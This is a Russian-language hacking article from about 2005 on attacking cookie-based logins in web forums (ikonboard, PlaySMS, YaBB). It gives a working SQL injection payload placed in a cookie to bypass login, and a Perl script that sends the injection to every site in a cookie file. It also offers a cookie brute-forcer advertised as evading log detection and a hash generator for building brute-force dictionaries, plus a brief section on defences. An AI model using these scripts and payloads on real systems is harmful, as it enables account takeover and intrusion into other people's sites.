В
этой статье будет рассмотрено несколько вопросов связанных с авторизацией
через cookie, обход такой авторизации путем sql-inject'a, брутфорса cookie,
а так же способы защиты от подобного брутфорса.
INTRO
Cookies. Меня всегда привлекали эти маленькие кусочки информации,
которой браузер может обмениваться с web-сервером. Частенько эти печенья
бесполезны и не вкусны, но нередко и наоборот :-). Про XSS давно всем
известно, и написано на эту тему много - как украсть куки и что потом
делать с ними. Но в этой статье я хотел бы поговорить не о XSS, а о менее
известном явлении - sql-inject в куках, и о практически неизвестном -
брутфорсе cookies. Первая атака позволяет пройти авторизацию путем внедрения
sql- запроса в значение куки, вторая делает возможным не оставляя следов
в логах (нонсенс для брутфорса) брутить аккаунты. В связи с этим, сразу
оговорюсь, что статья будет касаться именно моментов авторизации в различных
web-приложениях, использующих для этого cookie.
WHO IS WHO?
Cookies - главный механизм, за счет которого соединение
на стороне сервера может использовать (и получать) сохраненную информацию
на стороне соединения клиента (немного запутано описано, но это несколько
вольный перевод с инглиша). Информация полученная от клиента в виде куки-файлов
(правильней будет сказать - в виде заголовка содержащего информацию из
куки-файлов), для сервера играет довольно значительную роль (а точнее
для приложения которое читает эти куки и анализирует информацию из них).
Поэтому в приложениях работающих с куки, к информации полученной из них
надо относятся с не меньшей осторожностью, чем к информации полученной
через различные формы и отправленные методом GET или POST.
Рассмотрим взаимодействие клиента и сервера на примере форума ikonboard.
Надеюсь формат HTTP заголовков вам знаком.
Запрос от клиента: |
GET /cgi-bin/ikonboard/ikonboard.cgi
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: ru
Cookie: lastactivity=1107456917; lastvisit=1106768172; lang=en; iBSessionID=ac94d2d2148640748733bc27c3989248;
iBPassWord=6b1b0e0488d0226d358f72cc582ea68a; iBMemberID=80-1102004418;
skin=Default
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: localhost
Proxy-Connection: Keep-Alive |
Ответ
сервера: |
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2005 18:57:30 GMT
Server: Apache/1.3.6 (Win32)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Set-Cookie: lastactivity=1107457051; path=/; expires=Fri, 03-Feb-2006
18:57:31 GMT
Set-Cookie: lastactivity=1107457051; path=/; expires=Fri, 03-Feb-2006
18:57:31 GMT
Set-Cookie: iBSessionID=ac94d2d2148640748733bc27c3989248;
path=/; expires=Fri, 04-Feb-2005 18:57:31 GMT
Connection: close
Content-Type: text/html; charset=WINDOWS-1251 |
Так происходит процесс авторизации пользователя на форуме
ikonboard с помощью куки.
Явно видно что в запросе клиента передается поле iBPassWord=6b1b0e0488d0226d358f72cc582ea68a;
в данном случае значение этого поля 6b1b0e0488d0226d358f72cc582ea68a -
есть хэш пароля пользователя. Этот хэш сравнивается с хэшем содержащимся
в Базе Данных форума, и если они совпадают, то пользователю выдается сертификат
- в данном случае значение iBSessionID - сопоставленное с конкретным зарегестрированным
пользователем форума. Если мы изменим хотя бы один символ в хэше пароля,
то нужная сессия (сопоставленная с нашим пользователем) нам не передасться
в куках? Здорово придумано, не так ли?
Проверим это утверждение:
Запрос от клиента: |
GET /cgi-bin/ikonboard/ikonboard.cgi
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: ru
Cookie: lastactivity=1107457051; lastvisit=1106768172; lang=en; iBSessionID=ac94d2d2148640748733bc27c3989248;
iBPassWord=7b1b0e0488d0226d358f72cc582ea68a;
iBMemberID=80-1102004418; skin=Default
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: localhost
Proxy-Connection: Keep-Alive |
Ответ
сервера: |
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2005 19:05:48 GMT
Server: Apache/1.3.6 (Win32)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Set-Cookie: lastactivity=1107457548; path=/; expires=Fri, 03-Feb-2006
19:05:48 GMT
Set-Cookie: lastactivity=1107457548; path=/; expires=Fri, 03-Feb-2006
19:05:48 GMT
Set-Cookie: iBSessionID=ac94d2d2148640748733bc27c3989248;
path=/; expires=Fri, 04-Feb-2005 19:05:48 GMT
Connection: close
Content-Type: text/html; charset=WINDOWS-1251 |
Хм... Все равно нас пустили и выдали правильный сертификат.
Теперь понятно - форум сверяет еще и сертификат на соответствие с зарегистрированным
пользователем. Вся эта информация храниться с таблице ib_active_sessions,
если в этой таблице в БД изменить сессию - то пустит ли нас форум по правильному
паролю? Проверяем.

Делаем запрос.
Запрос от клиента: |
GET /cgi-bin/ikonboard/ikonboard.cgi
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: ru
Cookie: lastactivity=1107457548; lastvisit=1106768172; lang=en; iBSessionID=ac94d2d2148640748733bc27c3989248;
iBPassWord=6b1b0e0488d0226d358f72cc582ea68a; iBMemberID=80-1102004418;
skin=Default
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: localhost
Proxy-Connection: Keep-Alive |
Ответ
сервера: |
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2005 19:09:14 GMT
Server: Apache/1.3.6 (Win32)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Set-Cookie: lastactivity=1107457755; path=/; expires=Fri, 03-Feb-2006
19:09:15 GMT
Set-Cookie: lastactivity=1107457755; path=/; expires=Fri, 03-Feb-2006
19:09:15 GMT
Set-Cookie: lastactivity=1107457755; path=/; expires=Fri, 03-Feb-2006
19:09:15 GMT
Set-Cookie: iBSessionID=e78fdf3b4464da3a23df63dcff4b4ba7;
path=/; expires=Fri, 04-Feb-2005 19:09:15 GMT
Connection: close
Content-Type: text/html; charset=WINDOWS-1251 |
Хэш пароля правильный и нас пускают, но так как мы изменили значение
сессии в БД форума, - то сессия генериться снова, так как, сессия, которую
передали мы - форум не смог обнаружить в БД. Теперь нам осталось проверить,
если мы изменим хэш пароля и сессию в куках, что предпримет форум. Проверяем.
Запрос от клиента: |
GET /cgi-bin/ikonboard/ikonboard.cgi
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: ru
Cookie: lastactivity=1107457548; lastvisit=1106768172; lang=en; iBSessionID=f78fdf3b4464da3a23df63dcff4b4ba7;
iBPassWord=7b1b0e0488d0226d358f72cc582ea68a; iBMemberID=80-1102004418;
skin=Default
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: localhost
Proxy-Connection: Keep-Alive |
Ответ
сервера: |
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2005 19:12:22 GMT
Server: Apache/1.3.6 (Win32)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Set-Cookie: lastactivity=1107457943; path=/; expires=Fri, 03-Feb-2006
19:12:23 GMT
Set-Cookie: iBSessionID=-; path=/
Set-Cookie: iBMemberID=-; path=/
Set-Cookie: iBPassWord=-; path=/
Set-Cookie: iBSessionID=-; path=/
Set-Cookie: iBMemberID=-; path=/
Set-Cookie: iBPassWord=-; path=/
Connection: close
Content-Type: text/html; charset=WINDOWS-1251 |
Форум тут же сбросил все значения куки. По этому механизму работают практически
все форумы. Информация из cookies тесно взаимодействует с БД. Здесь кроется
опасность sql-inject, хотя конечно не в этом приложении, (его я рассмотрел
для того чтобы продемонстрировать тесную связь информации из куки с БД).
Рассмотрим это явление.
Отравленное печенье или SQL-inject в cookie.
Представьте, что некоторое приложение взаимодействуя с БД, оперирует
информацией из куки, при этом использует следующую функцию:
function valid($var_ticket="",$var_username="")
{
$ticket = $_COOKIE[vc1];
$username = $_COOKIE[vc2];
if ($var_ticket && $var_username)
{
$ticket = $var_ticket;
$username = $var_username;
}
$db_query = "SELECT ticket FROM tblUser WHERE username='$username'";
$db_result = dba_query($db_query);
$db_row = dba_fetch_array($db_result);
if ($ticket && $db_row[ticket] && ($ticket==$db_row[ticket]))
{
return 1;
}
else
{
return 0;
}
}
Значения из куки просто подставляются в переменные, которые учавствуют
в формировании запроса к БД. Это php-шная функция, пропустит sql-inject,
если в php.ini выключена опция magic_quotes_gpc, но нам это не столь важно,
(хотя пример реален и взят из PlaySMS системы - скрипта под названием
fr_left.php). Для реализации sql-inject'a, который нам даст доступ к сервису,
достаточно правильно оформить запрос, и вписать его в куки. В данном примере
это будет выглядеть так:
Запрос клиента: |
GET /~playsms/fr_left.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Cookie: vc1=ticket; vc2='%20union%20select%20'ticket;
Content-Type: application/x-www-form-urlencoded
Connection: close
|
Несложно представить что будет дальше. ticket всегда будет равен ticket
и соответственно функция вернет 1 и пропустит нас.
Тут же возникает идея автоматизировать процесс отравления печенья, то
есть inject'a в кукисах. Модифицируем немного, публичный сплоит для этого
скрипта конкретно (fr_left.php) и сделаем его более универсальным.
#!/usr/bin/perl
#
# cookies poisoning
use IO::Socket;
use strict;
########### config ####################
my $cookie_file="/Mozilla/Profiles/default/op6sy8cm.slt/cookies.txt";
my $inject="'%20union%20select%20'";
my $script="index.html";
###################################################################
my %cookies;
open(COOK,"<","$cookie_file") || die "$!\n";
while(<COOK>) {
chomp;
next if(/^\#/);
next if(/^\n/);
my($host,undef,undef,undef,undef,$name,$value)=split(/\t/,$_);
$host=~s/^\.//;# убиваем точки в начале имени хоста
$cookies{$host}.=" $name=$value$inject;" if(defined $host);
}
close(COOK);
foreach my $host(keys %cookies) {
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );
unless ($remote) { next; }
print "connected ";
$remote->autoflush(1);
my $http = "GET /$script HTTP/1.1
Host: $host:80
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 Firefox/0.9.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html; q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Cookie: $cookies{$host};
Content-Type: application/x-www-form-urlencoded
Connection: close
";
print "HTTP: $http ";
print "\n";
print "." x 50;
print $remote $http;
sleep(1);
print "\nWrite log\n";
open(HTML,">>","$host.html") || die "$!\n";
while (<$remote>)
{
print HTML $_;
}
print "Yeaahh! Now next\n\n";
close $remote;
close(HTML);
} # закрываем foreach цикл
Этот скрипт предназначен для работы с файлами куки в формате Netscape
(или Mozilla). Скрипт конечно грязно работает, но он вам выложит все странички
в виде html файлов, и по их содержанию можно анализировать работу скриптов
на тех или иных сайтах. Например, при обращении к рассмотренному ikonboard
- была выдана страница - You are not logged. Что и ожидалось (тоже самое
выдал форум при подмене значений хэша пароля и сессии в куках).
Минус скрипта в том, что он обращается по одним и тем же путям (параметр
$script) на разных сайтах. Но это уже, так сказать тонкости, которые решаемы.
Главное здесь то, что inject в cookie это не миф, а реальность, и к этому
надо относиться с вниманием, как разработчикам, так и хакерам :-).
А теперь перейдем к еще одному интересному вопросу касательно cookie файлов.
БРУТФОРС COOKIE или как отнять печенье у младенца :-)
Вы когда-нибудь думали о программе брутфорсере, которая не оставляет
в процессе своей работы следов в лог-файлах, по которым несложно догадаться
о процессе брутфорса. Ну к примеру, я регулярно наблюдал
в своем файле /var/log/auth.log на FreeBSD попытки брутфорса ssh, это
выглядит как список из различных имен пользователей и сообщения о failed
login, естественно таких я сразу же закидывал в /etc/hosts.deny, правда
потом я просто перевесил sshd на другой порт и в логах стало чисто :-)
Но дело не в этом, а в том что попытки брутфорса очень просто отлавливаются
в логах. Сегодня мы создадим скрипт для брутфорса, который
не оставляет за собой каких-либо выдающих его работу следов.
Итак, мы выяснили что в куки храниться информация часто используемая в
запросах к БД. Если у нас неполучается отравить печенье (реализовать sql-inject),
попробуем применить грубую силу и отнять его :-). Взять к примеру тот
же ikonboard - нам не требуется брутить сессию (если она будет неверной,
а пароль правильный, то нас все равно пустят), только хэш пароля. Реализуем
нашу задачу именно на примере этого движка (так как он у меня под рукой
:-)).
Гораздо эффективней брутфорс будет по уже готовым наборам хэшей, по так
называемым, RainbowTables. Он требует много места для хранения готовых
хэшей, но он в сотни раз эффективнее использования обычных словарей. Для
начала проверим, - будет ли в принципе работать наш брутфорс. Для этого
проведем тест вооружившись Achiless-проксиком и IE.
Залогинимся под одним пользователем (назовем его User_A) и получим правильные
куки. Затем (для эксперимента) подсмотрим в базе данных значение хэша
другого пользователя (User_B) и просто подставим это значение в наши куки.
Ничего не вышло :(, и это понятно, все не так просто. Для форума также
важен ID мембера. Это нам выяснить несложно, так как поле MID= содержит
этот ID. Но даже если мы поставим правильный ID на пользователя User_B
- нас все равно залогинит на пользователя User_A. Это все из-за правильной
сессии. Ее нужно специально исказить, и тогда - Welcome! Для брутфорса
же нам потребуется только значение MID и хэши паролей, остальное оказывается
не важным. Приступаем к реализации метода. Для этого модифицируем наш
предыдущий скрипт.
#!/usr/bin/perl
#
# ikonboard cookies
brutforce
use IO::Socket;
use strict;
########### config ####################
my $script="cgi-bin/ikonboard/ikonboard.cgi";# путь к скрипту форума
my $hash_file="./hashez.txt";# путь к файлу с хэшами
my $MID_file="./mids.txt";# путь к файлу с ID-members
my $host="localhost";# имя сервера
###############################################################
my @MIDS;
open(MID,"<","$MID_file") || die "$!\n";
while(<MID>) {
chomp;
push(@MIDS,$_);
}
close(MID);
my $i=0;
BRUT: {
open(HASH,"<","$hash_file") || die "$!\n";
while(<HASH>) {
chomp;
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );
unless ($remote) { die "can't connect to $host"; }
print "connected ";
$remote->autoflush(1);
my $http = "GET /$script HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: ru
Cookie: lastactivity=1107465463; lastvisit=1107464753;
iBSessionID=05383b02240400d75d0448bfbd70695c;
iBPassWord=$_; iBMemberID=$MIDS[$i]; skin=Default; lang=en
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: localhost
Proxy-Connection: Keep-Alive
";
print "HTTP: $http ";
print "\n";
print $remote $http;
sleep(1);
my $flag=1;
while (<$remote>)
{
$flag=0 if(/(Welcome Guest)/g);# по наличию этой фразы в хтмл определяем сбрутился хэш или нет
}
if($flag==1) {
print "Guesses!";
close $remote;
close(HASH);
exit 0;
}
print "Try next..\n";
close $remote;
} # закрываем while цикл
close(HASH);
} # конец блока BRUT
$i++;
goto BRUT if(defined $MIDS[$i]);
__END__
Ну и как? Неплохой брутер, он не оставляет за собой никаких логов, только
в access.log записи вида GET /script ..., то есть записи которые ничем
не отличаются от обычных посещений страницы. Я не стал комментировать
код, так как он в общем-то довольно простой, не совсем изящный, но я не
хотел заморачиваться над его изящностью, оставив это вам.
Немного модифицировав этот скрипт, вы сможете брутить практически все
популярные форумы в сети. Я просмотрел форумы YaBB, IPB, phpBB, PHP-Nuke,
vBulletin - их авторизация проходит примерно также, думаю что приспособить
этот скрипт к нужному форуму не составит труда. Что для этого потребуется?
Алгоритм хэширования паролей, тип определения имени пользователя (по nick
или по ID member'a). Для подтверждени своих слов рассмотрим еще один форум,
который построен уже не на СУБД, а на обычных текстовых файлах. Я говорю
о движке YaBB.
Авторизация проходит так:
Запрос от клиента: |
GET /cgi-bin/yabb/YaBB.pl HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost/cgi-bin/yabb/YaBB.pl?action=login
Accept-Language: ru
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: localhost
Pragma: no-cache
Cookie: lastactivity=1107465966; lastvisit=1107464753; lang=en; YaBB2username=PoizOn;
YaBB2password=sTbubHl8GoUSYLnBq1/0FA; Session=9Sh2TWJNsSmzLCH7ygy41g |
Ответ
сервера: |
HTTP/1.1 200 OK
Date: Sun, 06 Feb 2005 12:52:48 GMT
Server: Apache/1.3.6 (Win32)
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=ISO-8859-1 |
Этот движок попроще ikonboard и лишний раз куки не переставляет.
Поэкспериментируем с ним. Меняем хэш-пароля в куках
Запрос от клиента: |
GET /cgi-bin/yabb/YaBB.pl HTTP/1.0
Accept: */*
Referer: http://localhost/cgi-bin/yabb/YaBB.pl?action=login
Accept-Language: ru
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: localhost
Pragma: no-cache
Cookie: lastactivity=1107465966; lastvisit=1107464753; lang=en; YaBB2username=PoizOn;
YaBB2password=1sTbubHl8GoUSYLnBq1/0FA;
Session=9Sh2TWJNsSmzLCH7ygy41g |
Ответ
сервера: |
HTTP/1.1 200 OK
Date: Sun, 06 Feb 2005 12:54:09 GMT
Server: Apache/1.3.6 (Win32)
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: YaBB2username=; path=/; expires=Thursday, 01-Jan-1970
00:00:00 GMT;
Set-Cookie: YaBB2password=; path=/; expires=Thursday, 01-Jan-1970
00:00:00 GMT;
Set-Cookie: Session=; path=/; expires=Thursday, 01-Jan-1970 00:00:00
GMT;
Connection: close
Content-Type: text/html; charset=ISO-8859-1 |
Движок сразу сбросил куки. Значит сессия для него не так важна как для
ikonboard, который пускает нас и с неправильным хэшем.
Заметте, форум нас авторизовал, вот только он пишет, заместо Hey,PoizOn,
you have 0 messages, только Hey, , you have 0 messages. :-). Веселый баг.
Проверяем теперь - если мы поменяем значение сессии, а хэш пароля оставим
правильным. Не буду приводить сюда заголовки HTTP, просто скажу что сервер
нас пустил без проблем. Значит для сервера важно только значение хэша
пароля. Ну и естественно имя мембера (попробуем и его изменить, а все
остальное оставить нетронутым, - нас опять не авторизуют (так же как и
с неверным паролем :-). Как видите - еще один пример, на котором можно
потренировть наш скрипт для брутфорса. Ну и на десерт - к этой статье
я приложил скрипт (YowBBro.pl в двух вариантах
- один написан с использованием fork (модель процессов), второй с использованием
модуля Threads (модель потоков), можете доработать любой из них и пользоваться)
для брутфорса этого форума. Этот скрипт написан мной для того чтобы продемонстрировать
реальность брутфорса акканутов к форумам и пошевелить админов, которые
не торопятся (как обычно) принимать изложенный здесь материал к сведению.
Скрипт отличается от примеров, которые я вам здесь приводил, тем, что
во-первых - он многопоточный, во-вторых - он не читает весь ответ сервера,
а только анализирует заголовки ответов сервера, что снижает количество
траффика, и снимает привязку к конкретной фразе в html-контенте (Welcome
Guest и т.п), в третьих, работает не только с рассмотренной здесь версией
YaBB 2 RC1, но и с первой версией YaBB 1 Gold SP1.x. В заголовках он просто
отлавливает праметр Set-Cookie, и если он там присутствует - значит авторизация
не прошла (так как куки форум YaBB переставляет только в случае неправильных
значений в них). На скрине вы можете наблюдать результат его работы (скрипт
запускался на гостевой FreeBSD, Apache работал на WinXP). По умолчанию
он работает в 15 потоков, но вы можете регулировать это значение как угодно.
Просто если не очень много оперативки (и не очень широкий канал доступа
в инет), то не стоит увлекатся большим количеством потоков.

ЗАЩИТА (или как спрятать печенье :).
Теперь поговорим о защите своего форума от брутфорса куки и о созданиии
исходных хешей для брутфорса (эта функция заложена в YowBBro.pl, но тем
не менее, я хочу отдельно о ней сказать). Если кто-то прочитав эту статью
скажет - "да это все работает только если поставить галочку -
Запомнить меня "- он будет неправ. Да, на первый взгляд, кажется,
что это спасает (ведь в данном случае, тот же ikonboard, не передает в
куках хэш пароля, а только сессию), но если немного вдуматься, то тут
же все станет ясно - это спасает только от хищения куков с вашего компьютера,
но не от брутфорса его с другого компа :-). Здесь есть два варианта решения
этой проблемы. Первый - запретить форуму запоминать пользователей (то
есть передавать в куках хэши паролей), но это не очень удобно для юзеров.
Поэтому стоит присмотреться ко второму способу - изменение дефолтного
алгоритма хеширования паролей. Это сложно, так как требует навыков программирования
на том языке на котором написан форум, но зато наиболее надежно.
Естественно, в фриварном движке алгоритм хэширования не является секретом,
достаточно посмотреть его исходники и все станет ясно. Вот изменением
этого алгоритма мы сейчас и займемся, на примере движка YaBB 2 и YaBB
1. Это проще чем вы думаете.
Открываем файл в папке Sources Subs.pl для YaBB 2 и файл LogInOut.pl для
YaBB 1. Во второй версии криптовку пароля осуществляет функция encode_password,
рассмотрим ее код:
sub encode_password {
my $eol="";
$eol = $_[0];
chomp $eol;
if (eval "require Digest::Perl::MD5"){
use Digest::Perl::MD5 qw(md5_base64);
}
my $mypass = md5_base64 $eol;
return $mypass;
}
Как видите - все предельно просто, пароль криптуется md5_base64 методом
модуля Digets::MD5.
В первой версии, меня вообще поразили разработчики алгоритмом хэширования,
смотрим строчку 84 в файле LogInOut.pl:
$password = crypt("$FORM{'passwrd'}",$pwseed);
Криптуется строка salt'ом содержащемся в $pwseed, которая определяется
в файле Subs.pl в 28 строке, ее значение равно 'yy', и значение хэша пароля
в cookie, проставленные этой версией у всех начинаются с этих двух букв.
Оригинальный подход :). Теперь поговорим об изменении этих дефолтных алгоритмов.
Во второй версии все просто - меняем функцию encode_password и все. Например,
в ней можно сменить метод, например на md5_hex из Digest::MD5, или hash
из MD5 , но для хоть немного продвинутого чела это не защита, ведь каждый
метод хеширования имеет моменты по которым он определяется, поэтому, мы
подойдем к решению этого вопроса немного иначе :-). Итак модифицируем
функцию следующим образом:
sub encode_password {
my $eol="";
$eol = $_[0];
chomp $eol;
if (eval "require Digest::Perl::MD5"){
use Digest::Perl::MD5 qw(md5_base64 md5_hex);
}
my $mypass = md5_base64 $eol;
$mypass=md5_hex($mypass);
return $mypass;
}
Вот простая манипуляция с кодом (дописав всего одну строчку и указав
еще один метод для загрузки) и вы защищены. Я просто использовал двойное
хеширование задействовав еще одну функцию, из того же модуля Digest. Конечно,
хэш такого пароля определяется, как hex от md5, но сбрутить его очень
трудно, даже на пароль 123456 (естественно, при условии что хакер незнает
о двойном хэшировании). Для первой версии форума самый простой способ
- сменить значение переменной $pwseed на что-то другое, хотя это конечно
не очень хорошо. Лучше прикрутить какую-нить библиотеку (модуль) для криптовки.
Мне кажется разработчики использовли здесь стандартную функцию crypt,
для повышения переносимости движка. То есть он будет работать даже при
полном отсутствии каких-либо модулей (ikonboard требует CGI.pm, MD5 и
т.п), но этот путь не самый безопасный. Лучше было бы реализовать свою
библиотеку и встроить ее в дистрибутив. В общем - изменение алгоритма
для первой версии я оставляю вам в качестве упражения :). Вариаций на
эту тему можно выдумать довольно много, пробуйте. Естественно, что не
стоит этого делать если на вашем форуме уже зарегистрирована куча пользователей
(тогда они не смогут войти по своим паролям, так как в их профайлах будут
прописаны старые хеши), вы можете либо поменять им эти хеши в профайлах
на новые, либо делать это еще до начала работы форума. В любом случае,
я просто хочу обратить внимание админов на то чтобы они немного хакали
свои форумы, для их же блага.
О защите все. Теперь пару слов о генерации хешей для брутфорса. Думаю
что тут все уже ясно, поэтому заместо слов, я просто набросаю простой
скрипт генерации хешей для YaBB движка. Для этого мы возьмем уже готовую
функцию из самого движка YaBB и прикрутим к ней запись и чтение в файлы
(для первой версии достаточно всего одной строки crypt(plaintextpassword,
"yy"):
#!/usr/bin/perl -w
#
# hash generator for YaBB forum
#
# Usage: script.pl pass.txt hash.txt
my $file=$ARGV[0];# первым аргументом идет файл с паролями
my $crypt=$ARGV[1];# вторым аргументом идет файл куда будут записаны хэши паролей
open(PLAIN,"<",$file) || die "$!\n";
open(CRYPT,">>",$crypt) || die "$!\n";
while(<PLAIN>) {
chomp;
print CRYPT encode_password($_),"\n";
}
close(PLAIN);
close(CRYPT);
sub encode_password {
my $eol="";
$eol = $_[0];
chomp $eol;
if (eval "require Digest::MD5"){
use Digest::MD5 qw(md5_base64);
}
my $mypass = md5_base64 $eol;
return $mypass;
}
Из приведенного примера создания набора хэшей для брутфорса cookies в
движке YaBB ясно, что его криптозащита на очень низком уровне, причем
в первой версии на еще более низком. Проанализировав алгоритм хэширования
паролей в форуме ikonboard, я могу сказать, что ребята писавшие ikonboard
отнеслись к этому вопросу серьезней своих коллег, разрабатывающих YaBB.
В ikonboard используется модуль Lib::Crypt для хеширования паролей. Рассмотрим
небольшой фрагмент кода из этого движка:
# криптовка пароля происходит с использованием библиотеки Lib::Crypt
use Lib::Crypt;
# как видите, при хэшировании пароля, играет роль и имя пользователя
(а точнее первые две буквы ника, пониженные в регистре)
$pass2 = crypt ($iB::IN{'PassWord'}, lc (substr($iB::IN{'UserName'}, 0, 2 )));
# а это уже цитата из модуля Lib::Crypt, функция crypt
sub crypt # String crypt(String original, String salt)
{
my ($original, $salt) = @_; # принимает пароль и два символа
от никнейма в нижнем регистре
while(length($salt) < 2)# если имя пользователя короче 2 символов, добавляет
букву A к никнейму.
{
$salt .= 'A';
}
## дальше я код приводить
здесь не буду, потому что для того чтобы его понять,
надо смотреть весь модуль Lib::Crypt.
## Кому интересно могут
найти весь код модуля в дистрибутиве движка в папке Lib, файл Crypt.pm.
...
}
Алгоритм, как видите гораздо серьезней, тем, что требует большего количества
комбинаций (то есть если в YaBB достаточно нагенерить хэшей по словарику
и использовать их для любых пользователей, то в ikonboard придется для
каждого пользователя генерить свой набор хэшей), но тем не менее он известен
и при желании подбираем довольно быстро.
OUTRO
В общем-то это все о чем я хотел рассказать в этой статье. Напоследок,
советую разработчикам web-приложений с авторизацией через cookie, использовать
механизм сессий, и не передавать хэш пароля в куках. Сбрутить сессию невозможно,
по причине ее рандомного происхождения, поэтому о брутфорсе сессий речи
быть не может, в данном контексте.
|